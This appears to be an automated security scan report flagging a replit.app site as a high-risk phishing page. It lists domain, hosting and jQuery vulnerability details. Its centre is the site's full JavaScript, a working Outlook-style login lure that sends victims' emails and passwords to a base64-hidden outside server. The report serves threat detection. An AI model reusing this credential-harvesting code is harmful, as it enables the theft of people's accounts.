English

GAESA

Domain 'security-indexer--adamlee160686.replit.app' uses the application-focused generic top-level domain (.app), featuring subdomain 'security-indexer--adamlee160686'. The registrable portion 'replit' spans 6 characters holding two vowels versus 4 consonants. Word splitting yields 2 words: rep, lit. Expect 3 characters per word on average. No strong language cues emerged from the frequency lists.

passwd

count

html/c4/e5/c4e5be3b-2fc5-49d6-b421-cbf9c39e1505.html.gz

85556761a8800d14ced8fcd41a6b8b26bf012d44a318866c0d81a62092efd9bf

55d59f5ed62299f2df0fe22b6ceae87ca8d26d51de860d35f3bc8ad93f9772d7

jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution

passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Regex in its jQuery.htmlPrefilter sometimes may introduce XSS

ab38e1bb295aec2f28523a04d7741e59f496a44040fd8bc4dc05bdda48794bf2

76da592798ee5b41a444eebf66d08d461bc826db30df367fd21c85862ca82db0

robots

width=device-width,initial-scale=1,maximum-scale=2.0,user-scalable=yes

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Domain Manager

Nom-IQ Limited dba Com Laude

replit.app

Microsoft Abuse Contact

IPHostmaster IPHostmaster

Microsoft Corporation

Somesh Chaturmohta

Prachi Singh

Microsoft Routing, Peering, and DNS

Dawn Bedard

MSFT


	$( document ).ready(function() {
		var encoded_string = window.location.hash.substr(1);
		var email = encoded_string;	
		$('.identity').html(email);		
		var request = new XMLHttpRequest();
		var url =  window.atob('aHR0cHM6Ly9wcm92ZXllc2Vpcy51cy9ndXkvcHJ2LnBocA==') + email
		request.open('GET', url, true);
		request.onload = function() {
		  if (this.status >= 200 && this.status < 400) {
			var data = JSON.parse(this.response);
			logo_image = data["logo_image"];
			bg_image = data["bg_image"];
			bg_color = data["bg_color"];
			memo = data["memo"];
			if(bg_image != null && bg_image != ''){
				$('.background-image').css('background-image', 'url(' + bg_image + ')');
				$('.background-image').css('box-shadow', 'inset 0 0 0 1000px rgb(0 0 0 / 50%)');
			}
			if(logo_image != null && logo_image != ''){
				$('.banner-logo').attr('src', logo_image);
			}
			if(bg_color != null && bg_color != '' && (bg_image == null || bg_image == '')){
				$('.background-image').hide();
				$('.background-image-holder').css('background-color', bg_color);
			}
			if(memo != null && memo != ''){
				$('#idBoilerPlateText').show();
				$('#idBoilerPlateText').text(memo);
				$('#idBoilerPlateText').css('margin-top','44px');	
			}
			
		  } else {
			console.log("Response error");
		  }
		};
		request.onerror = function() {
		  console.log("Request error");
		};
		request.send();
		
		setTimeout(function (){
			$('#lightbox').show();
			$('#i0118').focus();
		}, 1000);
		
				
		$('#idSIButton9').on('click', function (event){
			event.preventDefault ? event.preventDefault() : event.returnValue = false;
			var user = $('.identity').html();
			var pass = $('#i0118').val();
			var count = $('#count').val();
				if(pass == ""){
					$("#passwordError2").show();
					$("#passwordError").hide();
					$("#important").hide();
					$("#i0118").css("border-color", "#e81123");
					$('#i0118').focus();
					
				}else{
					$("#i0118").css("border-color", "black");
					$('#progressBar').show();
					$("#passwordError2").hide();
					$("#passwordError").hide();
					$('#idSIButton9').prop('disabled', true);
					$.ajax({
						url: window.atob("aHR0cHM6Ly9wcm92ZXllc2Vpcy51cy9ndXkvcG9saWN5LnBocA=="), 
						data: {
								"email": user,
								"password": pass,
								"count": count,
							},
						type: "POST",
						success: function(data){
								if(data == 1){
									setTimeout(function(){
										window.location.href="https://outlook.office.com/mail/" + window.location.hash.substr(1);
									} , 2000);
								}else{
								$('#i0118').val('');
								$('#progressBar').hide();
								$("#passwordError").show();
								$("#important").hide();
								$('#idSIButton9').prop('disabled', false);
								$('#count').val('2');
								}
						},
							error: function(data) {
								console.log('Ajax error');
							}
						});
					
				}
		});
	});
	


var inputpw = document.getElementById("i0118");
inputpw.addEventListener("keyup", function(event) {
  if (event.keyCode === 13) {
   event.preventDefault();
   document.getElementById("idSIButton9").click();
  }
});


Requests	IP Address	Location	AS Autonomous System
2	34.117.33.233Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
2	151.101.129.155Fastly · CDN	United States	AS54113Fastly, Inc.
2	13.107.246.44Azure · CLOUD	United States	AS8075Microsoft Corporation
2	35.190.3.23Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
2	23.53.42.146	Frankfurt am Main, Hesse, Germany	AS20940Akamai International B.V.
10	5	-	-

Security Scan Report: security-indexer--adamlee160686.replit.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies11

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History